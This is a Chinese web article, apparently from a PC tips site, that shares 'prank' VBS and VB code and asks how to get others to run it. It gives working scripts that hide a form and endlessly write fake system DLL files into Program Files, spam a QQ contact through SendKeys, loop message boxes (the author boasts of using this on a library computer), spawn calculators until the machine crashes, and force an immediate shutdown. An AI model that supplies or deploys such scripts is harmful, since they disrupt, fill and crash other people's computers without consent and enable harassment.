vbs整人代码_手机vbs整人代码_如何让别人执行vbs代码

专题：vbs整人代码vbs整人代码怎么用

vbs整人代码

代码如下：

复制代码 代码如下:

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

'声明变量，其中“count”为静态变量，以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

'定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

'生成文件的内容

nr = "哈哈，被黑的感觉的不错吧"

files = FreeFile

'如果a等于a那么就执行

If a = a Then

'count不断的加1，以便产生不同的文件名

count = count + 1

'产生文件名及文件句柄，并用count作为产生不同的文件名。

Open c & "system" & count & ".dll" For Append As #files

'向文件写内容

Write #files, nr

'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示

Close #files

End If

End Sub

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).

xx.vbs=>

复制代码 代码如下:

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好都那它没办法，哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

------------------------------------------------------------------------------

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

-----------------------------------------------------------------------------

四、直接关机

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/tongxinshuyu/article-39893-1.html